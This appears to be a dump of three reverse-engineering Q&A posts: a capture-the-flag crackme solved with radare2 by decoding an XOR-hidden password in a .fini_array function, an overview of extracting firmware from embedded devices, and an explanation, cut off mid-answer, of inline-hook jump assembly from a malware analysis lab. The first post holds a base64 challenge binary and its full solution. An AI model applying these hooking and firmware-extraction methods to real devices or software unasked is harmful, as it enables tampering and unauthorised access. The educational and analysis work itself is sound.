        "Body": "<p>This is my first post here. I was recently involved in a capture the flag preparation test which involved decompiling an ELF 32-bit LSB executable, Intel 80386 file for Linux compiled with GCC. The binary is supposed to contain a password for the zip file provided. This is just for preparation to the actual capture the flag challenge that will take place on October 5. I was able to solve the other challenges but this seems impossible.</p>\n\n<p>I uploaded the files using base64 down there.</p>\n\n<p>At first I had to install GCC-multilib because I wasn't able to run the binary on a 32 bits system.</p>\n\n<p>I used strings, objdump and radare2 to get an idea of what was inside the binary.\nI eventually found the main function with a strange behaviour: It calls strcompare with the input string and <em>\"s3cR3t_p4sSw0rD\"</em> but if the two strings match it prints out <em>\"This is not the solution you are looking for :)\"</em>, on the other hand, if they don't match, it calls a stringlength function over your input and if it is not 34 characters long it prints out <em>\"Try again :(\"</em>.</p>\n\n<p>There's no success string, in fact in every other case the program stops.</p>\n\n<p>I tried using radare debug to run the code but if I run it, prints out <strong>\"No debugger please!\"</strong>.\nI eventually found the instruction where this check seems to happen and added a <em>jmp</em> instruction to bypass the check.\nI was not able to add any breakpoint and run the program through the debugger. It just ends without printing anything.</p>\n\n<p>There are some functions that contain character data but I didn't find anything useful.</p>\n\n<p>Please help me find the password, I'm getting crazy over this.</p>\n\n<p>Base 64 Data (Note, this is a zip file not a url...): <a href=\"http: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\" rel=\"nofollow noreferrer\">here</a></p>\n",
        "Title": "Can't find the password anywhere in the binary",
        "Tags": "|disassembly|elf|gcc|",
        "Answer": "<p>Since another question was based on the same binary and the accepted answer doesn't go into detail on how to find the function responsible, here's a writeup.\nUsual stuff <code>$ r2 wysiNwyg; aaa</code></p>\n\n<p>have a look at the list of functions(afl)</p>\n\n<pre><code>[0x080484a0]&gt; afl\n0x080483bc    3 35           fcn.080483bc\n0x080483f0    1 6            sym.imp.strcmp\n0x08048400    1 6            sym.imp.printf\n0x08048410    1 6            sym.imp.fgets\n0x08048420    1 6            sym.imp.puts\n0x08048430    1 6            loc.imp.__gmon_start\n0x08048440    1 6            sym.imp.exit\n0x08048450    1 6            sym.imp.strlen\n0x08048460    1 6            sym.imp.__libc_start_main\n0x08048470    1 6            sym.imp.memset\n0x08048480    1 6            sym.imp.putchar\n0x08048490    1 6            sym.imp.ptrace\n0x080484a0    1 33           entry0\n0x080484d0    1 4            fcn.080484d0\n0x080484e0    4 43           fcn.080484e0\n0x08048550    3 30           entry3.fini\n0x08048570    8 43   -&gt; 93   entry1.init\n0x0804859b    3 55           entry2.init\n0x080485d2   12 446          entry4.fini\n0x08048790    8 250          main\n</code></pre>\n\n<p>Other than <code>main</code>, <code>entry4.fini</code> function is quite large. Have a look at <code>.fini</code> and <code>.fini_array</code> sections from the binary(iS). Functions from <code>.fini_array</code> are called when the program is about to terminate(after main).</p>\n\n<pre><code>[0x080484a0]&gt; iS~fini\n14 0x00000904    20 0x08048904    20 -r-x .fini\n19 0x00000c08     8 0x08049c08     8 -rw- .fini_array\n</code></pre>\n\n<p>Seek to that address(s). Dump <code>.fini_array</code>(pxw).</p>\n\n<pre><code>[0x080484a0]&gt; s 0x08049c08\n[0x08049c08]&gt; pxw 0x10\n0x08049c08  0x08048550 0x080485d2 0x00000000 0x00000001  P...............\n</code></pre>\n\n<p><code>entry4.fini</code> has been referenced in <code>.fini_array</code>. Go to main and disassemble. Check where the input is getting stored to</p>\n\n<pre><code>\u2502           0x080487d5      a1409d0408     mov eax, dword [obj.stdin]  ; [0x8049d40:4]=0\n\u2502           0x080487da      83ec04         sub esp, 4\n\u2502           0x080487dd      50             push eax                    ; FILE *stream\n\u2502           0x080487de      6a23           push 0x23                   ; '#' ; 35 ; int size\n\u2502           0x080487e0      68609d0408     push 0x8049d60              ; char *s\n\u2502           0x080487e5      e826fcffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)\n</code></pre>\n\n<p>Input from fgets is going to 0x8049d60. You can also name it <code>f input 35 @ 0x8049d60</code>. Check for xrefs on it</p>\n\n<pre><code>[0x08048790]&gt; axt 0x8049d60\nentry4.fini 0x80486ec [DATA] push 0x8049d60\nmain 0x80487c8 [DATA] push 0x8049d60\nmain 0x80487e0 [DATA] push 0x8049d60\nmain 0x80487f8 [DATA] push 0x8049d60\nmain 0x8048808 [DATA] movzx eax, byte [eax + 0x8049d60]\nmain 0x8048816 [DATA] push 0x8049d60\nmain 0x8048826 [DATA] mov byte [eax + 0x8049d60], 0\nmain 0x8048835 [DATA] push 0x8049d60\nmain 0x804885b [DATA] push 0x8049d60\n</code></pre>\n\n<p><code>entry4.fini</code> also references the input. Disassemble it.</p>\n\n<pre><code>\u2502           0x080486ec      68609d0408     push 0x8049d60              ; const char *s\n\u2502           0x080486f1      e85afdffff     call sym.imp.strlen         ; size_t strlen(const char *s)\n\u2502           0x080486f6      83c410         add esp, 0x10\n\u2502           0x080486f9      83f822         cmp eax, 0x22               ; '\"' ; 34\n</code></pre>\n\n<p>First check is if your input is 34 bytes long.</p>\n\n<pre><code>\u2502           0x080486f9      83f822         cmp eax, 0x22               ; '\"' ; 34\n\u2502       \u250c\u2500&lt; 0x080486fc      7405           je 0x8048703\n\u2502      \u250c\u2500\u2500&lt; 0x080486fe      e988000000     jmp 0x804878b\n\u2502      \u2502\u2502   ; CODE XREF from entry4.fini (0x80486fc)\n\u2502      \u2502\u2514\u2500&gt; 0x08048703      c745f4000000.  mov dword [local_ch], 0\n\u2502      \u2502\u250c\u2500&lt; 0x0804870a      eb2c           jmp 0x8048738\n\u2502      \u2502\u2502   ; CODE XREF from entry4.fini (0x804873c)\n\u2502     \u250c\u2500\u2500\u2500&gt; 0x0804870c      8d55d1         lea edx, [local_2fh]\n\u2502     \u205d\u2502\u2502   0x0804870f      8b45f4         mov eax, dword [local_ch]\n\u2502     \u205d\u2502\u2502   0x08048712      01d0           add eax, edx\n\u2502     \u205d\u2502\u2502   0x08048714      0fb600         movzx eax, byte [eax]\n\u2502     \u205d\u2502\u2502   0x08048717      0fbed0         movsx edx, al\n\u2502     \u205d\u2502\u2502   0x0804871a      8b45f4         mov eax, dword [local_ch]\n\u2502     \u205d\u2502\u2502   0x0804871d      05609d0408     add eax, 0x8049d60\n\u2502     \u205d\u2502\u2502   0x08048722      0fb600         movzx eax, byte [eax]\n\u2502     \u205d\u2502\u2502   0x08048725      83f033         xor eax, 0x33\n\u2502     \u205d\u2502\u2502   0x08048728      0fbec0         movsx eax, al\n\u2502     \u205d\u2502\u2502   0x0804872b      0fb6c0         movzx eax, al\n\u2502     \u205d\u2502\u2502   0x0804872e      39c2           cmp edx, eax\n\u2502    \u250c\u2500\u2500\u2500\u2500&lt; 0x08048730      7402           je 0x8048734\n\u2502   \u250c\u2500\u2500\u2500\u2500\u2500&lt; 0x08048732      eb57           jmp 0x804878b\n\u2502   \u2502\u2502\u205d\u2502\u2502   ; CODE XREF from entry4.fini (0x8048730)\n\u2502   \u2502\u2514\u2500\u2500\u2500\u2500&gt; 0x08048734      8345f401       add dword [local_ch], 1\n\u2502   \u2502 \u205d\u2502\u2502   ; CODE XREF from entry4.fini (0x804870a)\n\u2502   \u2502 \u205d\u2502\u2514\u2500&gt; 0x08048738      837df421       cmp dword [local_ch], 0x21  ; [0x21:4]=-1 ; '!' ; 33\n\u2502   \u2502 \u2514\u2500\u2500\u2500&lt; 0x0804873c      7ece           jle 0x804870c\n\u2502   \u2502  \u2502    0x0804873e      c745f4000000.  mov dword [local_ch], 0\n\u2502   \u2502  \u2502\u250c\u2500&lt; 0x08048745      eb21           jmp 0x8048768\n</code></pre>\n\n<p>Second check involves xor'ing each byte from <code>local_2fh</code> with 0x33 and the comparing with the input byte by byte. Start the VM to dump the memory(0x22 bytes from local_2fh) and perform the xor operation.</p>\n\n<pre><code>[0x080484a0]&gt; s entry4.fini\n[0x080485d2]&gt; aei\n[0x080485d2]&gt; aeim\n[0x080485d2]&gt; aeip\n</code></pre>\n\n<p>Local variables are assigned up to instruction 0x08048665 for the check. Emulate and dump the values.</p>\n\n<pre><code>[0x080485d2]&gt; aesu 0x08048665\n[0x08048659]&gt; pcp 0x22  @ebp-0x2f \nimport struct\nbuf = struct.pack (\"34B\", *[\n0x02,0x5d,0x02,0x67,0x6c,0x07,0x5d,0x77,0x6c,0x75,0x02,\n0x5d,0x02,0x6c,0x07,0x41,0x61,0x07,0x6a,0x40,0x6c,0x07,\n0x41,0x00,0x6c,0x60,0x03,0x6c,0x00,0x07,0x40,0x6a,0x12,\n0x12])\n[0x00000041]&gt; !python\nPython 2.7.15rc1 (default, Apr 15 2018, 21:51:34) \n[GCC 7.3.0] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n&gt;&gt;&gt; import struct\n&gt;&gt;&gt; buf = struct.pack (\"34B\", *[\n... 0x02,0x5d,0x02,0x67,0x6c,0x07,0x5d,0x77,0x6c,0x75,0x02,\n... 0x5d,0x02,0x6c,0x07,0x41,0x61,0x07,0x6a,0x40,0x6c,0x07,\n... 0x41,0x00,0x6c,0x60,0x03,0x6c,0x00,0x07,0x40,0x6a,0x12,\n... 0x12])\n&gt;&gt;&gt; print ''.join(map(lambda x:chr(ord(x)^0x33),buf))\n1n1T_4nD_F1n1_4rR4Ys_4r3_S0_34sY!!\n</code></pre>\n\n<p>This works</p>\n\n<pre><code>./wysiNwyg \n\n#########################################################\n### Welcome to the \"wysiNwyg\" challenge!\n###     Your task is to find out the password to be able\n###     to decrypt the password-protected zip and read\n###     the secret flag. Good Luck!!\n#########################################################\n\nPassword: 1n1T_4nD_F1n1_4rR4Ys_4r3_S0_34sY!!\nCongratulations! You just won :p\n</code></pre>\n"
    },
    {
        "Id": "19457",
        "CreationDate": "2018-09-26T09:19:31.103",
        "Body": "<p>I am on the hook to collect some of legacy firmware images from real-world embedded devices. Before digging into it, I am trying to confirm some high-level points. </p>\n\n<p>Is it in general possible to gather firmware images from legacy embedded devices? I can come up with some hurdles here:</p>\n\n<ol>\n<li>I am aware that many embedded devices disable the debug port.</li>\n<li>embedded system have the so-called \"Code Readout Protection\" mechanism to prevent users from downloading the firmware</li>\n</ol>\n\n<p>However, I am also  aware the following facts:</p>\n\n<ol>\n<li><p>Firmware could be extracted from embedded devices by abusing busybox, for instance its <code>wget</code> command. Something like: <a href=\"https://reverseengineering.stackexchange.com/questions/13402/limited-busybox-shell\">Limited BusyBox shell</a></p></li>\n<li><p>The \"code readout protection\" could be bypassed, so as the \"debug port\" issue.</p></li>\n</ol>\n\n<p>So I am wondering if someone can really picture the landscape here, is it generally considered easy or not to extract legacy firmwares from embedded devices? What is the common procedure and best practice? Thanks. </p>\n",
        "Title": "Extract firmware images from COTS embedded devices",
        "Tags": "|debugging|firmware|exploit|embedded|",
        "Answer": "<p><em>As this question is quite general, it'll be difficult to provide a very technical answer.</em></p>\n<p>You've asked quite a few questions here, so please let me start with a general overview and then proceed to answer all of your specific questions.</p>\n<h2>General overview</h2>\n<p>The difficulty of pulling firmware images from an embedded device really depends on the firmware device itself, and the access you have to that firmware device.</p>\n<p>I would say there are a few different alternatives depending on your actual goal (just getting as many firmwares as possible verses getting firmwares for specific devices you're in possession of or interested in, for example). I'll list the general options in ascending difficulty:</p>\n<h3>Getting a firmware image/update online</h3>\n<p>Since a lot of devices support some kind of firmware update mechanisms, firmware images are often made available by the manufacturer either via a manual web page download for manual update or via a web service that will serve over-the-air updates. Although those updates may sometimes be encrypted, in most cases they are just signed - because the actual threat landscape is <em>modifying</em> a firmware and not <em>reading</em> it.</p>\n<p>As the format of a firmware update may be more complex to understand than a raw <code>dd</code> dump, for example, you'll need to spend extra efforts in understanding the format, extracting the firmware asset(s) from the firmware update file and optionally implementing some firmware-loading logic to get the in-memory image / addressing available. Tools like <a href=\"https://github.com/ReFirmLabs/binwalk\" rel=\"nofollow noreferrer\">binwalk</a> are a decent starting point.</p>\n<p>If firmware is only available over-the-air, you'll also need to spend time understanding the over-the-air protocol and any server side limitations on serving assets. A server may refuse offering an old version you're particularly interested in or require some kind of a per-device identification/authentication.</p>\n<h3>Using an application info-leak vulnerability</h3>\n<p>The simplest example that comes to mind is <a href=\"https://www.netsparker.com/blog/web-security/information-disclosure-issues-attacks/\" rel=\"nofollow noreferrer\">information disclosure vulnerabilities in web applications</a> that often exist on many embedded devices, however there may be other relevant targets. Unlike <em>native</em> information disclosure vulnerabilities where often pointers, addresses and memory data may be leaked, web information disclosure vulnerabilities often expose files and stored data. This may either allow you to pull other relevant information (for example, probing for hardware devices/interfaces) or even access to the firmware if it is either stored on the same storage or mounted (all the time or when an update runs).</p>\n<h3>Reading a firmware by software when shell access is available</h3>\n<p>Shell or root access may be available to you without looking at the firmware because of a known vulnerability or one that is easy enough to discover without actually reading any code. A device may also offer some kind of terminal access for debugging purposes. Instead of a full-blown terminal, one can have the ability to just execute a single shell command using command injections, for example.</p>\n<p>Once you have access, this is mostly a matter of probing for any available assets and recovering whatever you can.</p>\n<h3>Reading a firmware by hardware when physical access if available</h3>\n<p>As this can often be the most challenging way of extracting firmware images, you may occasionally be lucky to the point that this approach can be as easy as pulling a SD card and plugging it into a computer. This isn't often the case, though. Since this specific topic is quite huge and you seem to be looking for an overview, I will not dive deep into the specifics.</p>\n<p>When physical access to a device is available and any debug ports, uarts, or serial ports are available, you may often find them very useful for extracting details about the firmware. Some of those features may also be available through an ethernet port. These debugging interfaces often provide raw access to different components, such as the storage or controlling the boot sequence.</p>\n<p>Although sometimes identifying such a port can be easy thanks to exposed unconnected pinheads and existing pin label printouts depicted below:</p>\n<p><a href=\"https://i.stack.imgur.com/hkWEK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hkWEKs.png\" alt=\"pinheads\" /></a> <a href=\"https://i.stack.imgur.com/2CT1Q.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2CT1Qs.jpg\" alt=\"pin labels\" /></a></p>\n<p><em>Unmounted pinheads on the left, pin labels on the right. Click to enlarge</em></p>\n<p>The different debug ports could also be harder to recognize when no labels are printed and there are no pinheads connected. A walk-through example for identifying both exposed and hidden debug ports is available <a href=\"http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>When debug ports are insufficient, the next step further is directly reading the firmware from the storage chip. This often includes either taking it out of the board and using your own electronic circuit to read memory out of the chip or hooking to the chip while it's still connected to the original board but either passively listening to data as it's read by the device or issuing your own read instructions. You'll first need to identify the circle components and their purpose, and manufacturer datasheets. This will obviously also require dedicated hardware. Generic boards exist for that purpose (some specifically for firmware extraction and hardware reverse engineering like <a href=\"http://goodfet.sourceforge.net/\" rel=\"nofollow noreferrer\">GoodFET</a> and <a href=\"https://en.wikipedia.org/wiki/Bus_Pirate\" rel=\"nofollow noreferrer\">BusPirate</a>) and you can also get some development equipment from chip manufacturers that use proprietary <a href=\"https://en.wikipedia.org/wiki/In-system_programming\" rel=\"nofollow noreferrer\">In Circuit Serial Programming</a>, if they'll be willing to sell those to you.</p>\n<p>You can go even as far as reading the data directly from the chip using electrical and optical analysis of the chips' die layers, but that seems unlikely for your case.</p>\n<h2>Answering your specific questions</h2>\n<blockquote>\n<p>Is it in general possible to gather firmware images from legacy embedded devices?</p>\n</blockquote>\n<p>As mentioned earlier, this greatly depends on the specific device and how protected it may be. It tends to be doable for most cheap devices but as a device becomes more expensive you can assume it'll be more complex and indirectly incur more difficulties.</p>\n<p>It is also important to note that excluding the really expensive and/or often targeted devices (smartphones is a good example of those), most difficulties will not come from a manufacturer actively trying to make firmware extraction harder, but will more often come from design decisions and product choices and just happen to impact the difficulty of extracting a firmware image.</p>\n<blockquote>\n<ol>\n<li>I am aware that many embedded devices disable the debug port</li>\n</ol>\n</blockquote>\n<p>Although this can sometimes be the case for either increased security or to reduce costs, removing a debug port completely makes repairs and QA more difficulties. Often, although the debug port may to be included a convenient pinout may be laid out for easy access, either heads for easy access or without as seen in the following picture:</p>\n<p><a href=\"https://i.stack.imgur.com/OZkrr.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OZkrrm.jpg\" alt=\"output pins without a head soldiered on them\" /></a></p>\n<p><em>Picture taken from <a href=\"http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/\" rel=\"nofollow noreferrer\">this</a> step by step hardware reverse engineering tutorial</em></p>\n<blockquote>\n<ol start=\"2\">\n<li>embedded system have the so-called &quot;Code Readout Protection&quot; mechanism to prevent users from downloading the firmware</li>\n</ol>\n</blockquote>\n<p>The cheaper devices will generally not bother with code readout protection, and there are some ways to bypass it although those tend to be relatively difficult and specific. One such method is to remove the storage chip and interact with it directly to extract the firmware image, as I previously mentioned in <em>Reading a firmware by hardware when physical access if available</em>.</p>\n<blockquote>\n<ol>\n<li>Firmware could be extracted from embedded devices by abusing busybox, for instance its <code>wget</code> command. Something like: <a href=\"https://reverseengineering.stackexchange.com/questions/13402/limited-busybox-shell\">Limited BusyBox shell</a></li>\n</ol>\n</blockquote>\n<p>This approach is an example of what I've discussed under <em>Reading a firmware by software when shell access is available</em> above. In the example you linked, <code>wget</code> is used to exfiltrate the data after you get it, but there's no limit to the creativity of that (one can even go as far as use available LEDs to encode binary data).</p>\n<blockquote>\n<ol start=\"2\">\n<li>The &quot;code readout protection&quot; could be bypassed, so as the &quot;debug port&quot; issue</li>\n</ol>\n</blockquote>\n<p>Yes, through slightly more advanced hardware reverse engineering tools and abilities it is possible to extract software from chips that have readout protection, use a device port although it isn't mounted, avoid the need of a debug port, using the chip's datasheet to recognize how to properly read the data out, <em>snarfing</em> it while it's being read by the existing circuit, etc...</p>\n<blockquote>\n<p>is it generally considered easy or not to extract legacy firmwares from embedded devices? What is the common procedure and best practice?</p>\n</blockquote>\n<p>As shown by this post, and repeated several times, this can be relatively easy or relatively difficult, depending on specific case. Common procedures also vary heavily.</p>\n<h2>Further reading</h2>\n<p>The topic of hardware reverse engineering is big an wide, and it is hard to cover it all in an SO post. You should spend more time reading, watching talks and following walkthroughs to gain more knowledge on the subject. Here are a few resources:</p>\n<ol>\n<li>A survey of <a href=\"https://www.iacr.org/archive/ches2009/57470361/57470361.pdf\" rel=\"nofollow noreferrer\">The State-of-the-Art in IC Reverse Engineering</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=YCbpppOSBGE\" rel=\"nofollow noreferrer\">Keep your tentacles off my bus</a> and <a href=\"https://www.youtube.com/results?search_query=Dmitry%20Nedospasov\" rel=\"nofollow noreferrer\">other talks</a> by <a href=\"https://twitter.com/nedos?lang=en\" rel=\"nofollow noreferrer\">Dmitry Nedospasov</a>.</li>\n<li>This hardcore example of <a href=\"http://travisgoodspeed.blogspot.com/2011/03/practical-mc13224-firmware-extraction.html\" rel=\"nofollow noreferrer\">firmware extraction by decapping</a> by <a href=\"https://twitter.com/travisgoodspeed\" rel=\"nofollow noreferrer\">Travis Goodspeed</a>.</li>\n<li><a href=\"http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/\" rel=\"nofollow noreferrer\">This</a> introductory level, five part hardware/firmware reverse engineering walkthrough.</li>\n<li>A <a href=\"https://www.youtube.com/watch?v=GX8-K4TssjY\" rel=\"nofollow noreferrer\">presentation</a> about practical extraction using a Null dereference bug.</li>\n</ol>\n<p>and many other resources available online.</p>\n"
    },
    {
        "Id": "19459",
        "CreationDate": "2018-09-26T13:20:01.597",
        "Body": "<p>I don't get why the two addresses of the functions are subtracted in order to get the jump destination. </p>\n\n<pre><code>mov    eax, [ebp+func1]\nsub    eax, [ebp+func2]\nsub    eax, 5\nmov    [ebp+var_4], eax\n</code></pre>\n\n<p>Which is then used as follows:</p>\n\n<pre><code>mov    edx, [ebp+func2]\nmov    [edx], 0E9h         ;E9 is opcode for jmp\nmov    eax, [ebp+func2]\nmov    ecx, [ebp+var_4]\nmov    [eax+1], ecx\n</code></pre>\n\n<p>The intention of this code should be that at the beginning of <code>func2</code> a jump to <code>func1</code> should be inserted. The jump location is calculated in the first snippet. Is that right?</p>\n\n<p>I don't understand why the location is calculated by difference of the two memory addresses? Why don't use directly the address of <code>func1</code>? </p>\n\n<p><em>Note: This example is from the Practical Malware Analysis book (Lab11-2) on the topic of Inline Hooking.</em></p>\n",
        "Title": "Calculation of jmp address through subtraction",
        "Tags": "|disassembly|assembly|x86|function-hooking|",
        "Answer": "<p><em>I'll start with briefly going over the code for completeness's sake even though OP clearly understands what's going on and mostly asks about the reasoning behind it</em>.</p>\n\n<p>The first snippet of code can be easily written like the following in C:</p>\n\n<pre><code>dword var_4 = &amp;func1 - &amp;func2 - 5;\n</code></pre>\n\n<p>This piece of code, by itself, raises a few questions we'll answer in a bit but first lets dig a little deeper into the second assembly snippet:</p>\n\n<pre><code>mov    edx, [ebp+func2]\nmov    [edx], 0E9h         ;E9 is opcode for jmp\n</code></pre>\n\n<p>The first byte of <code>func2</code> is set to <code>0xE9</code>, which is the opcode for a \"Jump near, relative, immediate\" jump.</p>\n\n<pre><code>mov    eax, [ebp+func2]\nmov    ecx, [ebp+var_4]\nmov    [eax+1], ecx\n</code></pre>\n\n<p>Then, the next four bytes of <code>func</code> (1 through 5) are set to the offset previously calculated in the first snippet.</p>\n\n<p>Now, this may raise a couple of questions:</p>\n\n<blockquote>\n  <p>why is the offset then decreased by <code>5</code>?</p>\n</blockquote>\n\n<p>This is done because a relative jump is relative to <em>the next instruction</em>, thus subtracting 5 removes the 5 additional bytes of the jump instruction itself. A more <em>accurate</em> way of looking at it is that the offset should be calculated from <code>&amp;func2 + 5</code>. The original equation (<code>&amp;func1 - &amp;func2 - 5</code>) is obviously identical to <code>&amp;func1 - (&amp;func2 + 5)</code>.</p>\n\n<blockquote>\n  <p>Why do we care so much about instruction length to begin with?</p>\n</blockquote>\n\n<p>So, as some people here already implied, the length of a hook jump is important. That is very much true (although does not tell the whole reason behind the relative jump preference). The length of the hook (or jump sequence) is important because it can create weird edge cases. This isn't just about some minor performance optimization or keeping things simple, as one might assume.</p>\n\n<p>One big consideration is that you'll need to replace any instructions you overwrite. Those bytes you use for your jump had a meaning. And they have to be 